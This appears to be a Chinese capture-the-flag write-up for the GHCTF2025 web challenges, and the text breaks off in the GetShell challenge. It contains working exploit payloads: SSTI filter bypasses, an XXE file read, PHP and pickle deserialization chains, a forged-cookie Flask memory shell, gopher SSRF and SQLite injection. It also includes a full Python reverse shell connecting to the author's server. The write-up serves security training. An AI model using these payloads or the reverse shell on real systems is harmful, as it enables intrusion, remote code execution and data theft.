GHCTF2025--Web

upload?SSTI!

php 复制代码
import os
import re

from flask import Flask, request, jsonify,render_template_string,send_from_directory, abort,redirect
from werkzeug.utils import secure_filename
import os
from werkzeug.utils import secure_filename

app = Flask(__name__)

# 配置信息
UPLOAD_FOLDER = 'static/uploads'  # 上传文件保存目录
ALLOWED_EXTENSIONS = {'txt', 'log', 'text','md','jpg','png','gif'}
MAX_CONTENT_LENGTH = 16 * 1024 * 1024  # 限制上传大小为 16MB

app.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER
app.config['MAX_CONTENT_LENGTH'] = MAX_CONTENT_LENGTH

# 创建上传目录(如果不存在)
os.makedirs(UPLOAD_FOLDER, exist_ok=True)
def is_safe_path(basedir, path):
    return os.path.commonpath([basedir,path])


def contains_dangerous_keywords(file_path):
    dangerous_keywords = ['_', 'os', 'subclasses', '__builtins__', '__globals__','flag',]

    with open(file_path, 'rb') as f:
        file_content = str(f.read())


        for keyword in dangerous_keywords:
            if keyword in file_content:
                return True  # 找到危险关键字,返回 True

    return False  # 文件内容中没有危险关键字
def allowed_file(filename):
    return '.' in filename and \
        filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS


@app.route('/', methods=['GET', 'POST'])
def upload_file():
    if request.method == 'POST':
        # 检查是否有文件被上传
        if 'file' not in request.files:
            return jsonify({"error": "未上传文件"}), 400

        file = request.files['file']

        # 检查是否选择了文件
        if file.filename == '':
            return jsonify({"error": "请选择文件"}), 400

        # 验证文件名和扩展名
        if file and allowed_file(file.filename):
            # 安全处理文件名
            filename = secure_filename(file.filename)
            # 保存文件
            save_path = os.path.join(app.config['UPLOAD_FOLDER'], filename)
            file.save(save_path)



            # 返回文件路径(绝对路径)
            return jsonify({
                "message": "File uploaded successfully",
                "path": os.path.abspath(save_path)
            }), 200
        else:
            return jsonify({"error": "文件类型错误"}), 400

    # GET 请求显示上传表单(可选)
    return '''
    <!doctype html>
    <title>Upload File</title>
    <h1>Upload File</h1>
    <form method=post enctype=multipart/form-data>
      <input type=file name=file>
      <input type=submit value=Upload>
    </form>
    '''

@app.route('/file/<path:filename>')
def view_file(filename):
    try:
        # 1. 过滤文件名
        safe_filename = secure_filename(filename)
        if not safe_filename:
            abort(400, description="无效文件名")

        # 2. 构造完整路径
        file_path = os.path.join(app.config['UPLOAD_FOLDER'], safe_filename)

        # 3. 路径安全检查
        if not is_safe_path(app.config['UPLOAD_FOLDER'], file_path):
            abort(403, description="禁止访问的路径")

        # 4. 检查文件是否存在
        if not os.path.isfile(file_path):
            abort(404, description="文件不存在")

        suffix=os.path.splitext(filename)[1]
        print(suffix)
        if suffix==".jpg" or suffix==".png" or suffix==".gif":
            return send_from_directory("static/uploads/",filename,mimetype='image/jpeg')

        if contains_dangerous_keywords(file_path):
            # 删除不安全的文件
            os.remove(file_path)
            return jsonify({"error": "Waf!!!!"}), 400

        with open(file_path, 'rb') as f:
            file_data = f.read().decode('utf-8')
        tmp_str = """<!DOCTYPE html>
        <html lang="zh">
        <head>
            <meta charset="UTF-8">
            <meta name="viewport" content="width=device-width, initial-scale=1.0">
            <title>查看文件内容</title>
        </head>
        <body>
            <h1>文件内容:{name}</h1>  <!-- 显示文件名 -->
            <pre>{data}</pre>  <!-- 显示文件内容 -->

            <footer>
                <p>&copy; 2025 文件查看器</p>
            </footer>
        </body>
        </html>
        """.format(name=safe_filename, data=file_data)

        return render_template_string(tmp_str)

    except Exception as e:
        app.logger.error(f"文件查看失败: {str(e)}")
        abort(500, description="文件查看失败:{} ".format(str(e)))


# 错误处理(可选)
@app.errorhandler(404)
def not_found(error):
    return {"error": error.description}, 404


@app.errorhandler(403)
def forbidden(error):
    return {"error": error.description}, 403


if __name__ == '__main__':
    app.run("0.0.0.0",debug=False)

很明显的ssti, 过滤的内容也不多

直接编码绕就行

payload:

{{lipsum|attr("\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f")|attr("\u0067\u0065\u0074")("\u006f\u0073")|attr("\u0070\u006f\u0070\u0065\u006e")("cat /f*")|attr("\u0072\u0065\u0061\u0064")()}}

直接访问 /file/1.txt就行

(>﹏<)

直接给了源码

python 复制代码
from flask import Flask, request
import base64
from lxml import etree
import re

app = Flask(__name__)


@app.route('/')
def index():
    return open(__file__).read()


@app.route('/ghctf', methods=['POST'])
def parse():
    xml = request.form.get('xml')
    print(xml)
    if xml is None:
        return "No System is Safe."
    parser = etree.XMLParser(load_dtd=True, resolve_entities=True)
    root = etree.fromstring(xml, parser)
    name = root.find('name').text
    return name or None


if __name__ == "__main__":
    app.run(host='0.0.0.0', port=8080)

parser = etree.XMLParser(load_dtd=True, resolve_entities=True)

load_dtd=True: 允许解析器加载并处理 XML 文档中的 DTD

resolve_entities=True: 启用实体解析功能,包括外部实体

很明显的打xxe, 而且也没有什么过滤

python 复制代码
import requests

url="http://node2.anna.nssctf.cn:28836/ghctf"
payload="""<?xml version="1.0"?>
<!DOCTYPE root [
    <!ENTITY xxe SYSTEM "file:///flag">
]>
<root>
    <name>&xxe;</name>
</root>"""

data={"xml":payload}
res = requests.post(url=url, data=data)
print(res.text)

ez_readfile

代码很简单

php 复制代码
<?php
  show_source(__FILE__);
  if (md5($_POST['a']) === md5($_POST['b'])) {
      if ($_POST['a'] != $_POST['b']) {
          if (is_string($_POST['a']) && is_string($_POST['b'])) {
              echo file_get_contents($_GET['file']);
          }
      }
  }
?>

基础的md5绕过, 然后就是file_get_contents读文件

但是读了/flag没有反应, 应该是改了文件名

首先开始想的是PHP Base64 Filter宽松解析特性和iconv filter编码转换构造命令执行

但是好像没有用, 根本没办法去执行

然后想的是利用CVE-2024-2961从读文件到rce, 但也是一直没成功, 有点不理解

后面就想读一下环境变量, /proc/self/environ , 但是权限不足

就一直想找有没有什么文件能指定flag文件的名字

后面就找到了/docker-entrypoint.sh这个文件

发现里面有flag的文件名 (真是离谱的长)

直接读它拿到flag

Popppppp

php反序列化, 看似代码很多, 其实大都是没有用的

一些分析的过程写在注释里面了

php 复制代码
<?php
error_reporting(0);

class CherryBlossom {
    public $fruit1;
    public $fruit2;

    public function __construct($a) {
        $this->fruit1 = $a;
    }

    function __destruct() {
        echo $this->fruit1; //找toString,有三个类存在这个方法 CherryBlossom, UselessTwo, Samurai
                            //1.1 $fruit1=new CherryBlossom    
    }

    public function __toString() {
        $newFunc = $this->fruit2;
        return $newFunc(); //找__invoke, 1.2 $fruit2= new Philosopher
    }
}

class Forbidden {
    private $fruit3;

    public function __construct($string) {
        $this->fruit3 = $string;
    }

    public function __get($name) {
        $var = $this->$name;
        $var[$name]();
    }
}

class Warlord {
    public $fruit4;
    public $fruit5;
    public $arg1;

    public function __call($arg1, $arg2) {
        $function = $this->fruit4;
        return $function();
    }

    public function __get($arg1) {
        $this->fruit5->ll2('b2');
    }
}

class Samurai {
    public $fruit6;
    public $fruit7;

    public function __toString() {
        $long = @$this->fruit6->add();
        return $long;
    }

    public function __set($arg1, $arg2) {
        if ($this->fruit7->tt2) {
            echo "xxx are the best!!!";
        }
    }
}

class Mystery {
    //自己手动加
    public $SplFileObject = "php://filter/read=convert.base64-encode/resource=/flag";
	//$day2对象的属性名, $day1是对象的属性值
    public function __get($arg1) {
        array_walk($this, function ($day1, $day2) {
            $day3 = new $day2($day1); //利用SplFileObject读取文件
            foreach ($day3 as $day4) {
                echo ($day4 . '<br>');
            }
        });
    }
}

class Princess {
    protected $fruit9;

    protected function addMe() {
        return "The time spent with xxx is my happiest time" . $this->fruit9;
    }

    public function __call($func, $args) {
        call_user_func([$this, $func . "Me"], $args);
    }
}

class Philosopher {
    public $fruit10;
    public $fruit11="sr22kaDugamdwTPhG5zU";

    public function __invoke() {
        if (md5(md5($this->fruit11)) == 666) {//需要绕过, 弱比较, 所以需要找到md5值开头是666后接字母的表达, 写一个脚本跑一下可以找到很多 比如"7000120353"
            return $this->fruit10->hey; //hey是不存在的属性,找__get 有三个类里面有这个方法, Mystery, Warlord, Forbidden
        }                               //使用Mystery  1.3 $fruit10=new Mystery
    }                                   
}

class UselessTwo {
    public $hiddenVar = "123123";

    public function __construct($value) {
        $this->hiddenVar = $value;
    }

    public function __toString() {
        return $this->hiddenVar;
    }
}

class Warrior {
    public $fruit12;
    private $fruit13;

    public function __set($name, $value) {
        $this->$name = $value;
        if ($this->fruit13 == "xxx") {
            strtolower($this->fruit12);
        }
    }
}

class UselessThree {
    public $dummyVar;

    public function __call($name, $args) {
        return $name;
    }
}


class UselessFour {
     public $lalala;

     public function __destruct() {
         echo "Hehe";
     }
 }

if (isset($_GET['GHCTF'])) {
    unserialize($_GET['GHCTF']);
} else {
    highlight_file(__FILE__);
}



//利用点: 1.Mystery里面的array_walk函数
//2. Princess类里面的call_user_func函数


$a=new CherryBlossom();
$a->fruit1=new CherryBlossom();
$a->fruit1->fruit2= new Philosopher();
$a->fruit1->fruit2->fruit11=7000120353;
$a->fruit1->fruit2->fruit10=new Mystery();

echo serialize($a);

最后就是要利用php的原生类进行读取目录以及读取文件
GlobIterator配合glob://协议读取根目录
SplFileObject配合php伪协议读取文件

php 复制代码
<?php
error_reporting(0);

class CherryBlossom {
    public $fruit1;
    public $fruit2;

    function __destruct() {
        echo $this->fruit1; //找toString,有三个类存在这个方法 CherryBlossom, UselessTwo, Samurai
        //1.1 $fruit1=new CherryBlossom
    }

    public function __toString() {
        $newFunc = $this->fruit2;
        return $newFunc(); //找invoke, 1.2 $fruit2= new Philosopher
    }
}

class Mystery {
    //自己手动加
//    public $SplFileObject = "php://filter/read=convert.base64-encode/resource=flag.php";
    public $GlobIterator="glob:///*";
    public function __get($arg1) {
        array_walk($this, function ($day1, $day2) {
            $day3 = new $day2($day1); //利用SplFileObject读取文件
            foreach ($day3 as $day4) {
                echo ($day4 . '<br>');
            }
        });
    }
}


class Philosopher {
    public $fruit10;
    public $fruit11="sr22kaDugamdwTPhG5zU";

    public function __invoke() {
        if (md5(md5($this->fruit11)) == 666) {//需要绕过, 若比较, 所以需要找到md5值开头是666后接字母的表达 "7000120353"
            return $this->fruit10->hey; //hey是不存在的属性,找__get 有三个类里面有这个方法, Mystery, Warlord, Forbidden
        }                               //使用Mystery  1.3 $fruit10=new Mystery
    }
}

//利用点: Mystery里面的array_walk函数


$a=new CherryBlossom();
$a->fruit1=new CherryBlossom();
$a->fruit1->fruit2= new Philosopher();
$a->fruit1->fruit2->fruit11=7000120353;
$a->fruit1->fruit2->fruit10=new Mystery();

echo urlencode(serialize($a));


md5爆破的脚本

python 复制代码
# @Author   :wi1shu


import hashlib
import threading

total = 100000000000  # 从1到多少
threads = 100  # 线程数
truncation = "666"  # 被截断的值
positions = [0, 3]  # 截断位置
per_thread = total // threads
threads_list = []

def double_md5(value):
    first_hash = hashlib.md5(str(value).encode()).hexdigest()
    second_hash = hashlib.md5(first_hash.encode()).hexdigest()
    return second_hash

def calculate_md5(start, end):
    for i in range(start, end):
        md5 = double_md5(i)
        if md5[positions[0]:positions[1]] == truncation:
            print(f"{truncation} -> {i}: {md5}")

if __name__ == "__main__":
    for i in range(threads):
        start = i * per_thread + 1
        end = start + per_thread
        if i == threads - 1:
            end = total + 1
        thread = threading.Thread(target=calculate_md5, args=(start, end))
        threads_list.append(thread)
        thread.start()
    
    for thread in threads_list:
        thread.join()
    
    print("finished.")

ezzzz_pickle

一个登录框, admin / admin123 弱口令进入

点击读取flag, 抓包, 可以看到一个filename参数

可以读取文件

感觉这个读取文件的全都可以用前面发现的非预期了

读取这个文件docker-entrypoint.sh

不过还是要尝试预期做法, 读一下源码

python 复制代码
from flask import Flask, request, redirect, make_response, render_template
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import padding
import pickle
import base64
import time
import os

app = Flask(__name__)

def generate_key_iv():
    key = os.environ.get('SECRET_key').encode()
    iv = os.environ.get('SECRET_iv').encode()
    return key, iv

def aes_encrypt_decrypt(data, key, iv, mode='encrypt'):
    cipher = Cipher(algorithms.AES(key), modes.CBC(iv), backend=default_backend())
    
    if mode == 'encrypt':
        encryptor = cipher.encryptor()
        padder = padding.PKCS7(algorithms.AES.block_size).padder()
        padded_data = padder.update(data.encode()) + padder.finalize()
        result = encryptor.update(padded_data) + encryptor.finalize()
        return base64.b64encode(result).decode()
    
    elif mode == 'decrypt':
        decryptor = cipher.decryptor()
        encrypted_data_bytes = base64.b64decode(data)
        decrypted_data = decryptor.update(encrypted_data_bytes) + decryptor.finalize()
        unpadder = padding.PKCS7(algorithms.AES.block_size).unpadder()
        unpadded_data = unpadder.update(decrypted_data) + unpadder.finalize()
        return unpadded_data.decode()

users = {"admin": "admin123"}

def create_session(username):
    session_data = {"username": username, "expires": time.time() + 3600}
    pickled = pickle.dumps(session_data)
    pickled_data = base64.b64encode(pickled).decode('utf-8')
    key, iv = generate_key_iv()
    session = aes_encrypt_decrypt(pickled_data, key, iv, mode='encrypt')
    return session

def download_file(filename):
    path = os.path.join("static", filename)
    with open(path, 'rb') as f:
        data = f.read().decode('utf-8')
    return data

def validate_session(cookie):
    try:
        key, iv = generate_key_iv()
        pickled = aes_encrypt_decrypt(cookie, key, iv, mode='decrypt')
        pickled_data = base64.b64decode(pickled)
        session_data = pickle.loads(pickled_data)
        
        if session_data["username"] != "admin":
            return False
        
        return session_data if session_data["expires"] > time.time() else False
    except:
        return False

@app.route("/", methods=['GET', 'POST'])
def index():
    if "session" in request.cookies:
        session = validate_session(request.cookies["session"])
        if session:
            data = ""
            filename = request.form.get("filename")
            if filename:
                data = download_file(filename)
            return render_template("index.html", name=session['username'], file_data=data)
    return redirect("/login")

@app.route("/login", methods=["GET", "POST"])
def login():
    if request.method == "POST":
        username = request.form.get("username")
        password = request.form.get("password")
        if users.get(username) == password:
            resp = make_response(redirect("/"))
            resp.set_cookie("session", create_session(username))
            return resp
        return render_template("login.html", error="Invalid username or password")
    return render_template("login.html")

@app.route("/logout")
def logout():
    resp = make_response(redirect("/login"))
    resp.delete_cookie("session")
    return resp

if __name__ == "__main__":
    app.run(host="0.0.0.0", debug=False)

可以拿到源码, 可以发现在校验cookie的时候会执行 pickle.loads, 进行反序列化, 就是要利用这里, 所以需要伪造cookie

python 复制代码
def validate_session(cookie):
    try:
        key, iv = generate_key_iv()
        pickled = aes_encrypt_decrypt(cookie, key, iv, mode='decrypt')
        pickled_data = base64.b64decode(pickled)
        session_data =a pickle.loads(pickled_dta) #漏洞点, 进行反序列化
        
        if session_data["username"] != "admin":
            return False
        
        return session_data if session_data["expires"] > time.time() else False
    except:
        return False

继续读环境变量, 可以发现SECRET_key, SECRET_iv的值
key=ajwdopldwjdowpajdmslkmwjrfhgnbbv
iv=asdwdggiouewhgpw
有了key, 那就可以伪造cookie了, 当服务器校验cookie的时候就可以触发pickle.loads进行反序列化, 执行恶意代码了

不过没有回显, 可以尝试写文件, 反弹shell, 打内存马之类的

python 复制代码
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import padding
import pickle
import base64
import time
import os

class Exploit:
    def __reduce__(self):
        return (os.system, ('whoami > /tmp/1.txt',))


def generate_key_iv():
    key = b"ajwdopldwjdowpajdmslkmwjrfhgnbbv"
    iv = b"asdwdggiouewhgpw"
    return key, iv


def aes_encrypt_decrypt(data, key, iv, mode='encrypt'):
    cipher = Cipher(algorithms.AES(key), modes.CBC(iv), backend=default_backend())

    if mode == 'encrypt':
        encryptor = cipher.encryptor()
        padder = padding.PKCS7(algorithms.AES.block_size).padder()
        padded_data = padder.update(data.encode()) + padder.finalize()
        result = encryptor.update(padded_data) + encryptor.finalize()
        return base64.b64encode(result).decode()

    elif mode == 'decrypt':
        decryptor = cipher.decryptor()
        encrypted_data_bytes = base64.b64decode(data)
        decrypted_data = decryptor.update(encrypted_data_bytes) + decryptor.finalize()
        unpadder = padding.PKCS7(algorithms.AES.block_size).unpadder()
        unpadded_data = unpadder.update(decrypted_data) + unpadder.finalize()
        return unpadded_data.decode()


users = {"admin": "admin123"}

def create_session(username):
    session_data = {"username": username, "expires": time.time() + 3600, "exp":Exploit()} #加上恶意代码
    pickled = pickle.dumps(session_data)
    pickled_data = base64.b64encode(pickled).decode('utf-8')
    print(pickled_data)
    key, iv = generate_key_iv()
    session = aes_encrypt_decrypt(pickled_data, key, iv, mode='encrypt')
    print("[+]session:"+session)
    return session


def validate_session(cookie):
    try:
        key, iv = generate_key_iv()
        pickled = aes_encrypt_decrypt(cookie, key, iv, mode='decrypt')
        # print(pickled)
        pickled_data = base64.b64decode(pickled)
        # print(pickled_data)
        session_data = pickle.loads(pickled_data)
        print(session_data)

        if session_data["username"] != "admin":
            return False

        return session_data if session_data["expires"] > time.time() else False
    except:
        return False


create_session("admin")
# 3AIoDTviFKHyONegqv4u+FWzecUPuH3EsKRB1Vioy9BWo7scZqKebzY5GfXDjcWUxxwwZWo1QRVo3tmcAosqCnRWQUtPARbxkZsiGhTQSA4iu28IAZp/5LKFcdfVXji+IOTuvlcc2mjPionMqgOZ3aomjGveIS0rbYoe9nok6yTzitoe3B4tf23ltbIGKWGE

有点奇怪, 我自己本地试了一下这个cookie是可以被反序列化然后执行的, 但是靶机上一直没成功,可能没有权限还是干嘛

然后又试试打内存马

python 复制代码
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import padding
import pickle
import base64
import time
import os

class Exp:
    def __reduce__(self):
        return (exec,("global exc_class;global code;exc_class, code = app._get_exc_class_and_code(404);app.error_handler_spec[None][code][exc_class] = lambda a:__import__('os').popen(request.args.get('cmd')).read()",))


def generate_key_iv():
    key = b"ajwdopldwjdowpajdmslkmwjrfhgnbbv"
    iv = b"asdwdggiouewhgpw"
    return key, iv


def aes_encrypt_decrypt(data, key, iv, mode='encrypt'):
    cipher = Cipher(algorithms.AES(key), modes.CBC(iv), backend=default_backend())

    if mode == 'encrypt':
        encryptor = cipher.encryptor()
        padder = padding.PKCS7(algorithms.AES.block_size).padder()
        padded_data = padder.update(data.encode()) + padder.finalize()
        result = encryptor.update(padded_data) + encryptor.finalize()
        return base64.b64encode(result).decode()

    elif mode == 'decrypt':
        decryptor = cipher.decryptor()
        encrypted_data_bytes = base64.b64decode(data)
        decrypted_data = decryptor.update(encrypted_data_bytes) + decryptor.finalize()
        unpadder = padding.PKCS7(algorithms.AES.block_size).unpadder()
        unpadded_data = unpadder.update(decrypted_data) + unpadder.finalize()
        return unpadded_data.decode()


users = {"admin": "admin123"}

def create_session(username):
    session_data = {"username": username, "expires": time.time() + 3600,}
    pickled = pickle.dumps(session_data)
    pickled_data = base64.b64encode(pickled).decode('utf-8')
    print(pickled_data)
    key, iv = generate_key_iv()
    session = aes_encrypt_decrypt(pickled_data, key, iv, mode='encrypt')
    print("[+]session:"+session)
    return session


def validate_session(cookie):
    try:
        key, iv = generate_key_iv()
        pickled = aes_encrypt_decrypt(cookie, key, iv, mode='decrypt')
        # print(pickled)
        pickled_data = base64.b64decode(pickled)
        # print(pickled_data)
        session_data = pickle.loads(pickled_data)
        print(session_data)

        if session_data["username"] != "admin":
            return False

        return session_data if session_data["expires"] > time.time() else False
    except:
        return False

exp = Exp()
create_session(exp)

UPUPUP

可以上传.htaccess文件

但是后端检验了mine类型, 直接加上GIF89a 上传会报500错误,有语法错误, 而在.htaccess 中有两个注释符,或者相当于单行注释的符号 , 可以通过这两个绕过getimagesize和exif_imagetype

\x00
#

所以就可以这样写.htaccess

#define width 1
#define height 1
<FilesMatch "1.jpg">  
SetHandler application/x-httpd-php
</FilesMatch>

在上传1.jpg就行

Goph3rrr

/app.py可以看到源码

关键代码

python 复制代码
from flask import Flask, request, send_file, render_template_string
import os
from urllib.parse import urlparse, urlunparse
import subprocess
import socket
import hashlib
import base64
import random

app = Flask(__name__)
BlackList = [
    "127.0.0.1"
]
@app.route('/Gopher')
def visit():
    url = request.args.get('url')
    if url is None:
        return "No url provided :)"
    url = urlparse(url)
    realIpAddress = socket.gethostbyname(url.hostname)
    if url.scheme == "file" or realIpAddress in BlackList:
        return "No (≧∇≦)"
    result = subprocess.run(["curl", "-L", urlunparse(url)], capture_output=True, text=True)
    return result.stdout
@app.route('/Manage', methods=['POST'])
def cmd():
    if request.remote_addr != "127.0.0.1":
        return "Forbidden!!!"
    if request.method == "GET":
        return "Allowed!!!"
    if request.method == "POST":
        return os.popen(request.form.get("cmd")).read()

本来是想在自己vps上起一个302.php跳转,Gopher?url=http://pmjphw.top/302.php

但是/Manage路由必须要是POST方法才能执行cmd, 302跳转不起作用

所以必须用gopher协议, 发送一个post的请求

因为过滤了 127.0.0.1, 可以使用 0.0.0.0进行绕过

payload:

python 复制代码
import urllib.parse
payload =\
"""POST /Manage HTTP/1.1
Host: 127.0.0.1:8000
Content-Type: application/x-www-form-urlencoded
Content-Length: 7

cmd=env
"""

#注意后面一定要有回车,回车结尾表示http请求结束
tmp = urllib.parse.quote(payload)
new = tmp.replace('%0A','%0D%0A')
result = 'gopher://0.0.0.0:8000/'+'_'+new
result = urllib.parse.quote(result)
print(result)       # 这里因为是GET请求所以要进行两次url编码

#gopher%3A//0.0.0.0%3A8000/_POST%2520/Manage%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%253A8000%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250AContent-Length%253A%25207%250D%250A%250D%250Acmd%253Denv%250D%250A

SQL???

进入首页就是这样的, 很明显, 应该就是sql注入了

经过测试, 输入单引号和双引号' "会显示hacker, 被过滤了
union select 联合查询一下可以发现有回显点

但好像没有用, 没办法执行一些操作

前面一直卡在这, 没办法执行一些函数操作啥的, 就没管了, 后面wp出来之后才知道这是Sqlite注⼊ , 怪我见识短浅了

比如查看版本用的是 sqlite_version() 而之前我一直用的version(),总是报错


sqlite里面没有像其他数据库那样的information_schema,而是依赖sqlite_master

id=1 union select 1,sqlite_version(),(select sql from sqlite_master limit 0,1),4,5

查询第一条记录的创建语句 , 可以看到存在表flag 以及字段名flag

拿数据内容

id=1 union select 1,sqlite_version(),(select * from flag),4,5
或者
id=1 union select 1,sqlite_version(),(select group_concat(flag) from flag),4,5

Message in a Bottle

一个留言板, 下意识的会以为是xss, 虽然确实可以弹窗, 但是没有什么作用

python 复制代码
from bottle import Bottle, request, template, run


app = Bottle()

# 存储留言的列表
messages = []
def handle_message(message):
    message_items = "".join([f"""
        <div class="message-card">
            <div class="message-content">{msg}</div>
            <small class="message-time">#{idx + 1} - 刚刚</small>
        </div>
    """ for idx, msg in enumerate(message)])

    board = f"""<!DOCTYPE html>
    <html lang="zh">
    <head>
        <meta charset="UTF-8">
        <meta name="viewport" content="width=device-width, initial-scale=1.0">
        <title>简约留言板</title>
        <link href="https://cdn.bootcdn.net/ajax/libs/twitter-bootstrap/5.1.3/css/bootstrap.min.css" rel="stylesheet">
         <style>
            :root {{
                --primary-color: #4a90e2;
                --hover-color: #357abd;
                --background-color: #f8f9fa;
                --card-background: #ffffff;
                --shadow-color: rgba(0, 0, 0, 0.1);
            }}

            body {{
                background: var(--background-color);
                min-height: 100vh;
                padding: 2rem 0;
                font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
            }}

            .container {{
                max-width: 800px;
                background: var(--card-background);
                border-radius: 15px;
                box-shadow: 0 4px 6px var(--shadow-color);
                padding: 2rem;
                margin-top: 2rem;
                animation: fadeIn 0.5s ease-in-out;
            }}

            @keyframes fadeIn {{
                from {{ opacity: 0; transform: translateY(20px); }}
                to {{ opacity: 1; transform: translateY(0); }}
            }}

            .message-card {{
                background: var(--card-background);
                border-radius: 10px;
                padding: 1.5rem;
                margin: 1rem 0;
                transition: all 0.3s ease;
                border-left: 4px solid var(--primary-color);
                box-shadow: 0 2px 4px var(--shadow-color);
            }}

            .message-card:hover {{
                transform: translateX(10px);
                box-shadow: 0 4px 8px var(--shadow-color);
            }}

            .message-content {{
                font-size: 1.1rem;
                color: #333;
                line-height: 1.6;
                margin-bottom: 0.5rem;
            }}

            .message-time {{
                color: #6c757d;
                font-size: 0.9rem;
                display: block;
                margin-top: 0.5rem;
            }}

            textarea {{
                width: 100%;
                height: 120px;
                padding: 1rem;
                border: 2px solid #e9ecef;
                border-radius: 10px;
                resize: vertical;
                font-size: 1rem;
                transition: border-color 0.3s ease;
            }}

            textarea:focus {{
                border-color: var(--primary-color);
                outline: none;
                box-shadow: 0 0 0 3px rgba(74, 144, 226, 0.1);
            }}

            .btn-custom {{
                background: var(--primary-color);
                color: white;
                padding: 0.8rem 2rem;
                border-radius: 10px;
                border: none;
                transition: all 0.3s ease;
                font-weight: 500;
                text-transform: uppercase;
                letter-spacing: 0.05rem;
            }}

            .btn-custom:hover {{
                background: var(--hover-color);
                transform: translateY(-2px);
                box-shadow: 0 4px 8px var(--shadow-color);
            }}

            h1 {{
                color: var(--primary-color);
                text-align: center;
                margin-bottom: 2rem;
                font-weight: 600;
                font-size: 2.5rem;
                text-shadow: 2px 2px 4px var(--shadow-color);
            }}

            .btn-danger {{
                transition: all 0.3s ease;
                padding: 0.6rem 1.5rem;
                border-radius: 10px;
                text-transform: uppercase;
                letter-spacing: 0.05rem;
            }}

            .btn-danger:hover {{
                transform: translateY(-2px);
                box-shadow: 0 4px 8px var(--shadow-color);
            }}

            .text-muted {{
                font-style: italic;
                color: #6c757d !important;
            }}

            @media (max-width: 576px) {{
                h1 {{
                    font-size: 2rem;
                }}
                .container {{
                    padding: 1.5rem;
                }}
                .message-card {{
                    padding: 1rem;
                }}
            }}
        </style>
    </head>
    <body>
        <div class="container">
            <div class="d-flex justify-content-between align-items-center mb-4">
                <h1 class="mb-0">📝 简约留言板</h1>
                <a 
                    href="/Clean" 
                    class="btn btn-danger"
                    onclick="return confirm('确定要清空所有留言吗?此操作不可恢复!')"
                >
                    🗑️ 一键清理
                </a>
            </div>

            <form action="/submit" method="post">
                <textarea 
                    name="message" 
                    placeholder="输入payload暴打出题人"
                    required
                ></textarea>
                <div class="d-grid gap-2">
                    <button type="submit" class="btn-custom">发布留言</button>
                </div>
            </form>

            <div class="message-list mt-4">
                <div class="d-flex justify-content-between align-items-center mb-3">
                    <h4 class="mb-0">最新留言({len(message)}条)</h4>
                    {f'<small class="text-muted">点击右侧清理按钮可清空列表</small>' if message else ''}
                </div>
                {message_items}
            </div>
        </div>
    </body>
    </html>"""
    return board



def waf(message):
    return message.replace("{", "").replace("}", "")


@app.route('/')
def index():
    return template(handle_message(messages))


@app.route('/Clean')
def Clean():
    global messages
    messages = []
    return '<script>window.location.href="/"</script>'

@app.route('/submit', method='POST')
def submit():
    message = waf(request.forms.get('message'))
    messages.append(message)
    return template(handle_message(messages))


if __name__ == '__main__':
    run(app, host='localhost', port=9000)

看到代码, 会将 {}替换为空, 使用了bottle库, 查找一些资料, 发现存在ssti模板注入, 本地搭建环境, 把waf去掉, 可以发现使用 {``{2*2}} 会回显4, 确实存在漏洞

不过{ 和 } 被替换为空了那么就几乎不可能使用这种方法了

进过查找一些资料, 可以发现可以通过 % 来执行python代码

本地测试了一下
可以执行代码, 但是题目是没有回显的, 所以需要反弹shell, 连上自己的vps

message=%0A%import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("vps",6666));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);#

虽然这里显示请求失败, 但服务器还是连上了

GetShell

php 复制代码
<?php
highlight_file(__FILE__);

class ConfigLoader {
    private $config;

    public function __construct() {
        $this->config = [
            'debug' => true,
            'mode' => 'production',
            'log_level' => 'info',
            'max_input_length' => 100,
            'min_password_length' => 8,
            'allowed_actions' => ['run', 'debug', 'generate']
        ];
    }

    public function get($key) {
        return $this->config[$key] ?? null;
    }
}

class Logger {
    private $logLevel;

    public function __construct($logLevel) {
        $this->logLevel = $logLevel;
    }

    public function log($message, $level = 'info') {
        if ($level === $this->logLevel) {
            echo "[LOG] $message\n";
        }
    }
}

class UserManager {
    private $users = [];
    private $logger;

    public function __construct($logger) {
        $this->logger = $logger;
    }

    public function addUser($username, $password) {
        if (strlen($username) < 5) {
            return "Username must be at least 5 characters";
        }

        if (strlen($password) < 8) {
            return "Password must be at least 8 characters";
        }

        $this->users[$username] = password_hash($password, PASSWORD_BCRYPT);
        $this->logger->log("User $username added");
        return "User $username added";
    }

    public function authenticate($username, $password) {
        if (isset($this->users[$username]) && password_verify($password, $this->users[$username])) {
            $this->logger->log("User $username authenticated");
            return "User $username authenticated";
        }
        return "Authentication failed";
    }
}

class StringUtils {
    public static function sanitize($input) {
        return htmlspecialchars($input, ENT_QUOTES, 'UTF-8');
    }

    public static function generateRandomString($length = 10) {
        return substr(str_shuffle(str_repeat($x = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ', ceil($length / strlen($x)))), 1, $length);
    }
}

class InputValidator {
    private $maxLength;

    public function __construct($maxLength) {
        $this->maxLength = $maxLength;
    }

    public function validate($input) {
        if (strlen($input) > $this->maxLength) {
            return "Input exceeds maximum length of {$this->maxLength} characters";
        }
        return true;
    }
}

class CommandExecutor {
    private $logger;

    public function __construct($logger) {
        $this->logger = $logger;
    }

    public function execute($input) {
        if (strpos($input, ' ') !== false) {
            $this->logger->log("Invalid input: space detected");
            die('No spaces allowed');
        }

        @exec($input, $output);
        $this->logger->log("Result: $input");
        return implode("\n", $output);
    }
}

class ActionHandler {
    private $config;
    private $logger;
    private $executor;

    public function __construct($config, $logger) {
        $this->config = $config;
        $this->logger = $logger;
        $this->executor = new CommandExecutor($logger);
    }

    public function handle($action, $input) {
        if (!in_array($action, $this->config->get('allowed_actions'))) {
